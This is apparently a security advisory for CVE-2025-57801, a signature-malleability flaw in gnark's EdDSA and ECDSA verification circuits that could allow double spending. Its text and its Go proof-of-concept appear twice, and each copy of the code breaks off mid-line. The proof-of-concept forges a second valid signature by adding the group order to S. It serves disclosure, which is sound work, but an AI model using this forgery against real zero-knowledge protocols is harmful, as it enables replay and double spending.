CVE-2025-57801

gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.

gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.

In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.

Impact

Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.

Exploitation

package main

import (
	"crypto/rand"
	"fmt"
	"math/big"

	"github.com/consensys/gnark-crypto/ecc"
	mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
	eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"

	"github.com/consensys/gnark/backend/groth16"
	"github.com/consensys/gnark/frontend"
	"github.com/consensys/gnark/frontend/cs/r1cs"
	"github.com/consensys/gnark/std/algebra/native/twistededwards"
	stdMimc "github.com/consensys/gnark/std/hash/mimc"
	stdEddsa "github.com/consensys/gnark/std/signature/eddsa"

	te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)

// Circuit
type eddsaCircuit struct {
	Msg frontend.Variable  `gnark:",public"`
	Pk  stdEddsa.PublicKey `gnark:",public"`
	Sig stdEddsa.Signature
}

func (c *eddsaCircuit) Define(api frontend.API) error {
	curve, _ := twistededwards.NewEdCurve(api, te.BN254)
	hasher, _ := stdMimc.NewMiMC(api)
	stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
	return nil
}

func groupOrder() *big.Int {
	// BN254 scalar field order (r)
	const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
	n, _ := new(big.Int).SetString(rStr, 10)
	return n
}

// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
	order := groupOrder()

	var forged eddsaCrypto.Signature
	forged.R = sig.R

	s := new(big.Int).SetBytes(sig.S[:])
	s.Add(s, order)

	buf := make([]byte, 32)
	copy(buf[32-len(s.Bytes()):], s.Bytes())
	copy(forged.S[:], buf)
	return forged
}

func main() {
	// Generate key pair
	priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
	pub := priv.PublicKey
	msg := []byte("multi-witness")

	// Create honest signature
	h := mimcHash.NewMiMC()
	h.Write(msg)
	rawSig, _ := priv.Sign(msg, h)

	var honest eddsaCrypto.Signature
	honest.SetBytes(rawSig)
	forged := forge(honest) // S + order

	// Setup: Compile circuit and do trusted setup
	circuit := &eddsaCircuit{}
	ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
	if err != nil {
		fmt.Printf("Circuit compilation failed: %v\n", err)
		return
	}

	pk, vk, err := groth16.Setup(ccs)
	if err != nil {
		fmt.Printf("Trusted setup failed: %v\n", err)
		return
	}

	// Public inputs (same for both witnesses)
	var public eddsaCircuit
	public.Msg = new(big.Int).SetBytes(msg)
	public.Pk.Assign(te.BN254, pub.Bytes())

	// witness 1: honest signature
	w1 := public
	w1.Sig.Assign(te.BN254, honest.Bytes())

	witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
	if err != nil {
		fmt.Printf("Failed to create witness1: %v\n", err)
		return
	}

	proof1, err := groth16.Prove(ccs, pk, witness1)
	if err != nil {
		fmt.Println("Witness 1 (honest): Prover failed!")
	} else {
		publicWitness1, err := witness1.Public()
		if err != nil {
			fmt.Println("Witness 1 (honest): Prover failed!")
		} else {
			err = groth16.Verify(proof1, vk, publicWitness1)
			if err != nil {
				fmt.Println("Witness 1 (honest): Prover failed!")
			} else {
				fmt.Println("Witness 1 (honest): Prover succeeded!")
			}
		}
	}

	// witness 2: forged signature
	w2 := public
	w2.Sig.Assign(te.BN254, forged.Bytes())
	fmt.Println(honest.R.Equal(&forged.R))
	fmt.Println(honest.S != forged.S)

	witness2, err :=…

gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.

gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.

In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.

Impact

Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.

Exploitation

package main

import (
	"crypto/rand"
	"fmt"
	"math/big"

	"github.com/consensys/gnark-crypto/ecc"
	mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
	eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"

	"github.com/consensys/gnark/backend/groth16"
	"github.com/consensys/gnark/frontend"
	"github.com/consensys/gnark/frontend/cs/r1cs"
	"github.com/consensys/gnark/std/algebra/native/twistededwards"
	stdMimc "github.com/consensys/gnark/std/hash/mimc"
	stdEddsa "github.com/consensys/gnark/std/signature/eddsa"

	te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)

// Circuit
type eddsaCircuit struct {
	Msg frontend.Variable  `gnark:",public"`
	Pk  stdEddsa.PublicKey `gnark:",public"`
	Sig stdEddsa.Signature
}

func (c *eddsaCircuit) Define(api frontend.API) error {
	curve, _ := twistededwards.NewEdCurve(api, te.BN254)
	hasher, _ := stdMimc.NewMiMC(api)
	stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
	return nil
}

func groupOrder() *big.Int {
	// BN254 scalar field order (r)
	const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
	n, _ := new(big.Int).SetString(rStr, 10)
	return n
}

// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
	order := groupOrder()

	var forged eddsaCrypto.Signature
	forged.R = sig.R

	s := new(big.Int).SetBytes(sig.S[:])
	s.Add(s, order)

	buf := make([]byte, 32)
	copy(buf[32-len(s.Bytes()):], s.Bytes())
	copy(forged.S[:], buf)
	return forged
}

func main() {
	// Generate key pair
	priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
	pub := priv.PublicKey
	msg := []byte("multi-witness")

	// Create honest signature
	h := mimcHash.NewMiMC()
	h.Write(msg)
	rawSig, _ := priv.Sign(msg, h)

	var honest eddsaCrypto.Signature
	honest.SetBytes(rawSig)
	forged := forge(honest) // S + order

	// Setup: Compile circuit and do trusted setup
	circuit := &eddsaCircuit{}
	ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
	if err != nil {
		fmt.Printf("Circuit compilation failed: %v\n", err)
		return
	}

	pk, vk, err := groth16.Setup(ccs)
	if err != nil {
		fmt.Printf("Trusted setup failed: %v\n", err)
		return
	}

	// Public inputs (same for both witnesses)
	var public eddsaCircuit
	public.Msg = new(big.Int).SetBytes(msg)
	public.Pk.Assign(te.BN254, pub.Bytes())

	// witness 1: honest signature
	w1 := public
	w1.Sig.Assign(te.BN254, honest.Bytes())

	witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
	if err != nil {
		fmt.Printf("Failed to create witness1: %v\n", err)
		return
	}

	proof1, err := groth16.Prove(ccs, pk, witness1)
	if err != nil {
		fmt.Println("Witness 1 (honest): Prover failed!")
	} else {
		publicWitness1, err := witness1.Public()
		if err != nil {
			fmt.Println("Witness 1 (honest): Prover failed!")
		} else {
			err = groth16.Verify(proof1, vk, publicWitness1)
			if err != nil {
				fmt.Println("Witness 1 (honest): Prover failed!")
			} else {
				fmt.Println("Witness 1 (honest): Prover succeeded!")
			}
		}
	}

	// witness 2: forged signature
	w2 := public
	w2.Sig.Assign(te.BN254, forged.Bytes())
	fmt.Println(honest.R.Equal(&forged.R))
	fmt.Println(honest.S != forged.S)

	witness2, err :=…

Gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks in github.com/consensys/gnark